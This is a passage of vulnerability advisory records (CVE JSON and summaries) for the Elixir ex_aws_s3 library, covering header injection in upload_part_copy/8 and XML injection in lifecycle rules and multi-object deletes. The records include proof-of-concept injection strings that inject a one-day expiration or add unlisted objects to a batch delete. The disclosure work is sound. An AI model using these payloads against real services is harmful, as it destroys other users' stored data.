"value": "\u003col\u003e\n\u003cli\u003eAn application copies a part whose source key comes from user input, calling \u003ccode\u003eExAws.S3.upload_part_copy/8\u003c/code\u003e and sending the operation with \u003ccode\u003eExAws.request/2\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker supplies the source key \u003ccode\u003eevil key?x=1\u0026amp;y=2\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eupload_part_copy/8\u003c/code\u003e interpolates it raw, so the request carries \u003ccode\u003ex-amz-copy-source: /src-bucket/evil key?x=1\u0026amp;y=2\u003c/code\u003e instead of the encoded \u003ccode\u003e/src-bucket/evil%20key%3Fx%3D1%26y%3D2\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe reserved characters change the copy-source reference; a key containing \u003ccode\u003e\\r\\n\u003c/code\u003e would additionally inject header lines, depending on the HTTP backend.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An application copies a part whose source key comes from user input, calling `ExAws.S3.upload_part_copy/8` and sending the operation with `ExAws.request/2`.\n2. The attacker supplies the source key `evil key?x=1\u0026y=2`.\n3. `upload_part_copy/8` interpolates it raw, so the request carries `x-amz-copy-source: /src-bucket/evil key?x=1\u0026y=2` instead of the encoded `/src-bucket/evil%20key%3Fx%3D1%26y%3D2`.\n4. The reserved characters change the copy-source reference; a key containing `\\r\\n` would additionally inject header lines, depending on the HTTP backend."
}
],
"value": "* An application copies a part whose source key comes from user input, calling ExAws.S3.upload_part_copy/8 and sending the operation with ExAws.request/2.\n* The attacker supplies the source key evil key?x=1\u0026y=2.\n* upload_part_copy/8 interpolates it raw, so the request carries x-amz-copy-source: /src-bucket/evil key?x=1\u0026y=2 instead of the encoded /src-bucket/evil%20key%3Fx%3D1%26y%3D2.\n* The reserved characters change the copy-source reference; a key containing \\r\\n would additionally inject header lines, depending on the HTTP backend."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Encoding in the sibling function.\u003c/strong\u003e \u003ccode\u003eput_object_copy\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e percent-encodes the source bucket and each path segment with \u003ccode\u003eURI.encode(..., \u0026amp;URI.char_unreserved?/1)\u003c/code\u003e before assembling the \u003ccode\u003ex-amz-copy-source\u003c/code\u003e header.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. No encoding in \u003ccode\u003eupload_part_copy/8\u003c/code\u003e.\u003c/strong\u003e \u003ccode\u003eupload_part_copy/8\u003c/code\u003e builds the same header as \u003ccode\u003e\"/#{src_bucket}/#{src_object}\"\u003c/code\u003e, interpolating the bucket and key raw.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Effect.\u003c/strong\u003e Reserved characters in the source key (spaces, \u003ccode\u003e?\u003c/code\u003e, \u003ccode\u003e\u0026amp;\u003c/code\u003e, \u003ccode\u003e=\u003c/code\u003e) are placed verbatim into the header and change the meaning of the copy-source reference, so the copy targets the wrong object or fails. A key containing \u003ccode\u003e\\r\u003c/code\u003e or \u003ccode\u003e\\n\u003c/code\u003e can split the header or inject additional headers into the outgoing request, depending on how the configured HTTP backend serializes headers.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Encoding in the sibling function.** `put_object_copy` in `lib/ex_aws/s3.ex` percent-encodes the source bucket and each path segment with `URI.encode(..., \u0026URI.char_unreserved?/1)` before assembling the `x-amz-copy-source` header.\n\n**2. No encoding in `upload_part_copy/8`.** `upload_part_copy/8` builds the same header as `\"/#{src_bucket}/#{src_object}\"`, interpolating the bucket and key raw.\n\n**3. Effect.** Reserved characters in the source key (spaces, `?`, `\u0026`, `=`) are placed verbatim into the header and change the meaning of the copy-source reference, so the copy targets the wrong object or fails. A key containing `\\r` or `\\n` can split the header or inject additional headers into the outgoing request, depending on how the configured HTTP backend serializes headers."
}
],
"value": "1. Encoding in the sibling function. put_object_copy in lib/ex_aws/s3.ex percent-encodes the source bucket and each path segment with URI.encode(..., \u0026URI.char_unreserved?/1) before assembling the x-amz-copy-source header.\n\n2. No encoding in upload_part_copy/8. upload_part_copy/8 builds the same header as \"/#{src_bucket}/#{src_object}\", interpolating the bucket and key raw.\n\n3. Effect. Reserved characters in the source key (spaces, ?, \u0026, =) are placed verbatim into the header and change the meaning of the copy-source reference, so the copy targets the wrong object or fails. A key containing \\r or \\n can split the header or inject additional headers into the outgoing request, depending on how the configured HTTP backend serializes headers."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-63584",
"datePublished": "2026-11-24T14:15:10.351Z",
"dateReserved": "2026-07-17T04:14:44.351Z",
"dateUpdated": "2026-11-24T14:15:10.351Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-63583 (GCVE-0-2026-63583)
Vulnerability from cvelistv5 – Published: 2026-11-24 14:14 – Updated: 2026-11-24 14:14
VLAI
EPSS
VEX
Title
XML injection in ExAws.S3.Utils.build_lifecycle_rule/1 in ex_aws_s3
Summary
ExAws.S3.Utils.build_lifecycle_rule/1 in ex_aws_s3 interpolates caller-supplied lifecycle rule fields (the rule id, filter prefix, tag key and value, storage class, and noncurrent-version count) directly into the PutBucketLifecycleConfiguration XML body without escaping XML metacharacters. An application that populates any of these fields from untrusted input (for example a tenant-supplied object tag) lets an attacker break out of the surrounding element and inject arbitrary XML into the request, including an entirely new lifecycle action such as a delete-after-one-day expiration that destroys the bucket's objects. The public entry point ExAws.S3.put_bucket_lifecycle/2 flows directly into this builder.
This issue affects ex_aws_s3: from 2.3.0 before 2.6.0.
Severity
CWE
- CWE-91 - XML Injection
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws_s3/security/advi… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-63583.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-63583 | related |
| https://github.com/ex-aws/ex_aws_s3/commit/34a3f1… | related |
| https://github.com/ex-aws/ex_aws_s3/commit/eda0b9… | patch |
Impacted products
Date Public
2026-11-24 14:14
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3.Utils\u0027",
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex_aws_s3",
"packageURL": "pkg:hex/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3/utils.ex",
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3.Utils\u0027:build_lifecycle_rule/1"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_lifecycle/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.6.0",
"status": "affected",
"version": "2.3.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3.Utils\u0027",
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex-aws/ex_aws_s3",
"packageURL": "pkg:github/ex-aws/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3/utils.ex",
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3.Utils\u0027:build_lifecycle_rule/1"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_lifecycle/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "eda0b9b9c63707f7db8d8f18c331df7fda57c397",
"status": "affected",
"version": "34a3f1b264bd9a28d68fa98173af7085da72a15b",
"versionType": "git"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.6.0",
"versionStartIncluding": "2.3.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T14:14:57.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003ccode\u003eExAws.S3.Utils.build_lifecycle_rule/1\u003c/code\u003e in ex_aws_s3 interpolates caller-supplied lifecycle rule fields (the rule id, filter prefix, tag key and value, storage class, and noncurrent-version count) directly into the \u003ccode\u003ePutBucketLifecycleConfiguration\u003c/code\u003e XML body without escaping XML metacharacters. An application that populates any of these fields from untrusted input (for example a tenant-supplied object tag) lets an attacker break out of the surrounding element and inject arbitrary XML into the request, including an entirely new lifecycle action such as a delete-after-one-day expiration that destroys the bucket\u0027s objects. The public entry point \u003ccode\u003eExAws.S3.put_bucket_lifecycle/2\u003c/code\u003e flows directly into this builder.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.3.0 before 2.6.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "`ExAws.S3.Utils.build_lifecycle_rule/1` in ex_aws_s3 interpolates caller-supplied lifecycle rule fields (the rule id, filter prefix, tag key and value, storage class, and noncurrent-version count) directly into the `PutBucketLifecycleConfiguration` XML body without escaping XML metacharacters. An application that populates any of these fields from untrusted input (for example a tenant-supplied object tag) lets an attacker break out of the surrounding element and inject arbitrary XML into the request, including an entirely new lifecycle action such as a delete-after-one-day expiration that destroys the bucket\u0027s objects. The public entry point `ExAws.S3.put_bucket_lifecycle/2` flows directly into this builder.\n\nThis issue affects ex_aws_s3: from 2.3.0 before 2.6.0."
}
],
"value": "ExAws.S3.Utils.build_lifecycle_rule/1 in ex_aws_s3 interpolates caller-supplied lifecycle rule fields (the rule id, filter prefix, tag key and value, storage class, and noncurrent-version count) directly into the PutBucketLifecycleConfiguration XML body without escaping XML metacharacters. An application that populates any of these fields from untrusted input (for example a tenant-supplied object tag) lets an attacker break out of the surrounding element and inject arbitrary XML into the request, including an entirely new lifecycle action such as a delete-after-one-day expiration that destroys the bucket\u0027s objects. The public entry point ExAws.S3.put_bucket_lifecycle/2 flows directly into this builder.\n\nThis issue affects ex_aws_s3: from 2.3.0 before 2.6.0."
}
],
"impacts": [
{
"capecId": "CAPEC-250",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThis is an XML/document injection vulnerability in the construction of the \u003ccode\u003ePutBucketLifecycleConfiguration\u003c/code\u003e request. Any application that uses \u003ccode\u003eex_aws_s3\u003c/code\u003e and populates a lifecycle rule\u0027s id, prefix, tag key/value, storage class, or noncurrent-version count from data it does not fully control is affected. An attacker who controls one of those fields can inject arbitrary lifecycle actions or rules into the request, most damagingly an expiration that deletes the bucket\u0027s objects, leading to data loss or unintended retention/transition policies. Multi-tenant services that map tenant-supplied tags or identifiers into bucket lifecycle configuration are the most exposed.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "This is an XML/document injection vulnerability in the construction of the `PutBucketLifecycleConfiguration` request. Any application that uses `ex_aws_s3` and populates a lifecycle rule\u0027s id, prefix, tag key/value, storage class, or noncurrent-version count from data it does not fully control is affected. An attacker who controls one of those fields can inject arbitrary lifecycle actions or rules into the request, most damagingly an expiration that deletes the bucket\u0027s objects, leading to data loss or unintended retention/transition policies. Multi-tenant services that map tenant-supplied tags or identifiers into bucket lifecycle configuration are the most exposed."
}
],
"value": "This is an XML/document injection vulnerability in the construction of the PutBucketLifecycleConfiguration request. Any application that uses ex_aws_s3 and populates a lifecycle rule\u0027s id, prefix, tag key/value, storage class, or noncurrent-version count from data it does not fully control is affected. An attacker who controls one of those fields can inject arbitrary lifecycle actions or rules into the request, most damagingly an expiration that deletes the bucket\u0027s objects, leading to data loss or unintended retention/transition policies. Multi-tenant services that map tenant-supplied tags or identifiers into bucket lifecycle configuration are the most exposed."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 7,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "HIGH",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "HIGH",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:H",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-91",
"description": "CWE-91 XML Injection",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T14:14:58.243Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-pcgv-phrm-r85v"
},
{
"name": "EEF CNA record for CVE-2026-63583",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-63583.html"
},
{
"name": "OSV record EEF-CVE-2026-63583",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-63583"
},
{
"name": "Introducing commit 34a3f1b in ex-aws/ex_aws_s3",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/34a3f1b264bd9a28d68fa98173af7085da72a15b"
},
{
"name": "Fix commit eda0b9b in ex-aws/ex_aws_s3",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/eda0b9b9c63707f7db8d8f18c331df7fda57c397"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "XML injection in ExAws.S3.Utils.build_lifecycle_rule/1 in ex_aws_s3",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eApplications can escape or strictly validate any untrusted value before passing it into a lifecycle rule field (the rule id, filter prefix, tag key or value, storage class, or noncurrent-version count) so that XML metacharacters cannot alter the request structure.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Applications can escape or strictly validate any untrusted value before passing it into a lifecycle rule field (the rule id, filter prefix, tag key or value, storage class, or noncurrent-version count) so that XML metacharacters cannot alter the request structure."
}
],
"value": "Applications can escape or strictly validate any untrusted value before passing it into a lifecycle rule field (the rule id, filter prefix, tag key or value, storage class, or noncurrent-version count) so that XML metacharacters cannot alter the request structure."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eA multi-tenant application mirrors tenant-supplied object tags into an S3 lifecycle rule: \u003ccode\u003eExAws.S3.put_bucket_lifecycle(\"tenant-bucket\", [rule]) |\u0026gt; ExAws.request(config)\u003c/code\u003e with \u003ccode\u003efilter: %{tags: [{\"team\", value}]}\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe tenant sets the tag value to \u003ccode\u003efrontend\u0026lt;/Value\u0026gt;\u0026lt;/Tag\u0026gt;\u0026lt;/Filter\u0026gt;\u0026lt;Expiration\u0026gt;\u0026lt;Days\u0026gt;1\u0026lt;/Days\u0026gt;\u0026lt;/Expiration\u0026gt;\u0026lt;Filter\u0026gt;\u0026lt;Tag\u0026gt;\u0026lt;Key\u0026gt;team\u0026lt;/Key\u0026gt;\u0026lt;Value\u0026gt;frontend\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebuild_lifecycle_rule/1\u003c/code\u003e interpolates it unescaped into the request body.\u003c/li\u003e\n\u003cli\u003eThe body S3 receives contains \u003ccode\u003e//Rule/Expiration/Days\u003c/code\u003e equal to \u003ccode\u003e1\u003c/code\u003e: an injected action that expires the bucket\u0027s objects after one day.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. A multi-tenant application mirrors tenant-supplied object tags into an S3 lifecycle rule: `ExAws.S3.put_bucket_lifecycle(\"tenant-bucket\", [rule]) |\u003e ExAws.request(config)` with `filter: %{tags: [{\"team\", value}]}`.\n2. The tenant sets the tag value to `frontend\u003c/Value\u003e\u003c/Tag\u003e\u003c/Filter\u003e\u003cExpiration\u003e\u003cDays\u003e1\u003c/Days\u003e\u003c/Expiration\u003e\u003cFilter\u003e\u003cTag\u003e\u003cKey\u003eteam\u003c/Key\u003e\u003cValue\u003efrontend`.\n3. `build_lifecycle_rule/1` interpolates it unescaped into the request body.\n4. The body S3 receives contains `//Rule/Expiration/Days` equal to `1`: an injected action that expires the bucket\u0027s objects after one day."
}
],
"value": "* A multi-tenant application mirrors tenant-supplied object tags into an S3 lifecycle rule: ExAws.S3.put_bucket_lifecycle(\"tenant-bucket\", [rule]) |\u003e ExAws.request(config) with filter: %{tags: [{\"team\", value}]}.\n* The tenant sets the tag value to frontend\u003c/Value\u003e\u003c/Tag\u003e\u003c/Filter\u003e\u003cExpiration\u003e\u003cDays\u003e1\u003c/Days\u003e\u003c/Expiration\u003e\u003cFilter\u003e\u003cTag\u003e\u003cKey\u003eteam\u003c/Key\u003e\u003cValue\u003efrontend.\n* build_lifecycle_rule/1 interpolates it unescaped into the request body.\n* The body S3 receives contains //Rule/Expiration/Days equal to 1: an injected action that expires the bucket\u0027s objects after one day."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Unescaped interpolation.\u003c/strong\u003e \u003ccode\u003ebuild_lifecycle_rule/1\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3/utils.ex\u003c/code\u003e builds each text node of the \u003ccode\u003ePutBucketLifecycleConfiguration\u003c/code\u003e body by raw string interpolation: the rule \u003ccode\u003eid\u003c/code\u003e, the filter \u003ccode\u003eprefix\u003c/code\u003e, tag \u003ccode\u003ekey\u003c/code\u003e and \u003ccode\u003evalue\u003c/code\u003e, the \u003ccode\u003estorage\u003c/code\u003e class and \u003ccode\u003enewer_noncurrent_versions\u003c/code\u003e. None is XML-escaped or validated before \u003ccode\u003eIO.iodata_to_binary/1\u003c/code\u003e flattens the body.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Element break-out.\u003c/strong\u003e A value containing XML metacharacters is emitted verbatim. A tag value such as \u003ccode\u003efrontend\u0026lt;/Value\u0026gt;\u0026lt;/Tag\u0026gt;\u0026lt;/Filter\u0026gt;\u0026lt;Expiration\u0026gt;\u0026lt;Days\u0026gt;1\u0026lt;/Days\u0026gt;\u0026lt;/Expiration\u0026gt;\u0026lt;Filter\u0026gt;\u0026lt;Tag\u0026gt;\u0026lt;Key\u0026gt;team\u0026lt;/Key\u0026gt;\u0026lt;Value\u0026gt;frontend\u003c/code\u003e closes the \u003ccode\u003e\u0026lt;Value\u0026gt;\u003c/code\u003e, injects an \u003ccode\u003e\u0026lt;Expiration\u0026gt;\u003c/code\u003e action and reopens a \u003ccode\u003e\u0026lt;Filter\u0026gt;\u003c/code\u003e, so the rest of the document stays well-formed. The same technique can close and reopen \u003ccode\u003e\u0026lt;Rule\u0026gt;\u003c/code\u003e to append a separate rule.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Delivery.\u003c/strong\u003e The public entry point \u003ccode\u003eExAws.S3.put_bucket_lifecycle/2\u003c/code\u003e flows directly into this builder, so S3 receives and applies the injected lifecycle configuration as soon as the request is sent with \u003ccode\u003eExAws.request/2\u003c/code\u003e.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Unescaped interpolation.** `build_lifecycle_rule/1` in `lib/ex_aws/s3/utils.ex` builds each text node of the `PutBucketLifecycleConfiguration` body by raw string interpolation: the rule `id`, the filter `prefix`, tag `key` and `value`, the `storage` class and `newer_noncurrent_versions`. None is XML-escaped or validated before `IO.iodata_to_binary/1` flattens the body.\n\n**2. Element break-out.** A value containing XML metacharacters is emitted verbatim. A tag value such as `frontend\u003c/Value\u003e\u003c/Tag\u003e\u003c/Filter\u003e\u003cExpiration\u003e\u003cDays\u003e1\u003c/Days\u003e\u003c/Expiration\u003e\u003cFilter\u003e\u003cTag\u003e\u003cKey\u003eteam\u003c/Key\u003e\u003cValue\u003efrontend` closes the `\u003cValue\u003e`, injects an `\u003cExpiration\u003e` action and reopens a `\u003cFilter\u003e`, so the rest of the document stays well-formed. The same technique can close and reopen `\u003cRule\u003e` to append a separate rule.\n\n**3. Delivery.** The public entry point `ExAws.S3.put_bucket_lifecycle/2` flows directly into this builder, so S3 receives and applies the injected lifecycle configuration as soon as the request is sent with `ExAws.request/2`."
}
],
"value": "1. Unescaped interpolation. build_lifecycle_rule/1 in lib/ex_aws/s3/utils.ex builds each text node of the PutBucketLifecycleConfiguration body by raw string interpolation: the rule id, the filter prefix, tag key and value, the storage class and newer_noncurrent_versions. None is XML-escaped or validated before IO.iodata_to_binary/1 flattens the body.\n\n2. Element break-out. A value containing XML metacharacters is emitted verbatim. A tag value such as frontend\u003c/Value\u003e\u003c/Tag\u003e\u003c/Filter\u003e\u003cExpiration\u003e\u003cDays\u003e1\u003c/Days\u003e\u003c/Expiration\u003e\u003cFilter\u003e\u003cTag\u003e\u003cKey\u003eteam\u003c/Key\u003e\u003cValue\u003efrontend closes the \u003cValue\u003e, injects an \u003cExpiration\u003e action and reopens a \u003cFilter\u003e, so the rest of the document stays well-formed. The same technique can close and reopen \u003cRule\u003e to append a separate rule.\n\n3. Delivery. The public entry point ExAws.S3.put_bucket_lifecycle/2 flows directly into this builder, so S3 receives and applies the injected lifecycle configuration as soon as the request is sent with ExAws.request/2."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-63583",
"datePublished": "2026-11-24T14:14:58.243Z",
"dateReserved": "2026-07-17T04:14:44.351Z",
"dateUpdated": "2026-11-24T14:14:58.243Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-131902 (GCVE-0-2026-131902)
Vulnerability from cvelistv5 – Published: 2026-11-24 14:13 – Updated: 2026-11-24 14:13
VLAI
EPSS
VEX
Title
XML injection via unescaped VersionId in ExAws.S3.delete_multiple_objects/3
Summary
XML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an object version id passed to ExAws.S3.delete_multiple_objects/3 to add objects to the batch delete.
delete_multiple_objects/3 in lib/ex_aws/s3.ex builds the <Delete> request body by placing each object's version between <VersionId> tags without XML escaping. A version such as v1</VersionId></Object><Object><Key>important-file</Key></Object><Object><Key>x</Key><VersionId>v2 closes the caller's object and opens new ones, so S3 deletes objects the application never listed, including other users' objects in the same bucket.
This issue affects ex_aws_s3: from 2.0.0 before 2.6.0.
Severity
CWE
- CWE-91 - XML Injection
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws_s3/security/advi… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-131902.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-131902 | related |
| https://github.com/ex-aws/ex_aws_s3/commit/4ce4d7… | related |
| https://github.com/ex-aws/ex_aws_s3/commit/eda0b9… | patch |
Impacted products
Date Public
2026-11-24 14:13
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex_aws_s3",
"packageURL": "pkg:hex/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3\u0027:delete_multiple_objects/3"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.6.0",
"status": "affected",
"version": "2.0.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex-aws/ex_aws_s3",
"packageURL": "pkg:github/ex-aws/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3\u0027:delete_multiple_objects/3"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "eda0b9b9c63707f7db8d8f18c331df7fda57c397",
"status": "affected",
"version": "4ce4d72219c0cb8de9356278203d8ea780311b75",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eReachable only when the application passes a version id derived, even partially, from untrusted input to \u003ccode\u003eExAws.S3.delete_multiple_objects/3\u003c/code\u003e, for example a service that lets users delete a specific object version by id.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Reachable only when the application passes a version id derived, even partially, from untrusted input to `ExAws.S3.delete_multiple_objects/3`, for example a service that lets users delete a specific object version by id."
}
],
"value": "Reachable only when the application passes a version id derived, even partially, from untrusted input to ExAws.S3.delete_multiple_objects/3, for example a service that lets users delete a specific object version by id."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.6.0",
"versionStartIncluding": "2.0.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"dateAssigned": "2026-11-24T14:13:22.000Z",
"datePublic": "2026-11-24T14:13:43.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eXML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an object version id passed to \u003ccode\u003eExAws.S3.delete_multiple_objects/3\u003c/code\u003e to add objects to the batch delete.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003edelete_multiple_objects/3\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e builds the \u003ccode\u003e\u0026lt;Delete\u0026gt;\u003c/code\u003e request body by placing each object\u0027s \u003ccode\u003eversion\u003c/code\u003e between \u003ccode\u003e\u0026lt;VersionId\u0026gt;\u003c/code\u003e tags without XML escaping. A version such as \u003ccode\u003ev1\u0026lt;/VersionId\u0026gt;\u0026lt;/Object\u0026gt;\u0026lt;Object\u0026gt;\u0026lt;Key\u0026gt;important-file\u0026lt;/Key\u0026gt;\u0026lt;/Object\u0026gt;\u0026lt;Object\u0026gt;\u0026lt;Key\u0026gt;x\u0026lt;/Key\u0026gt;\u0026lt;VersionId\u0026gt;v2\u003c/code\u003e closes the caller\u0027s object and opens new ones, so S3 deletes objects the application never listed, including other users\u0027 objects in the same bucket.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
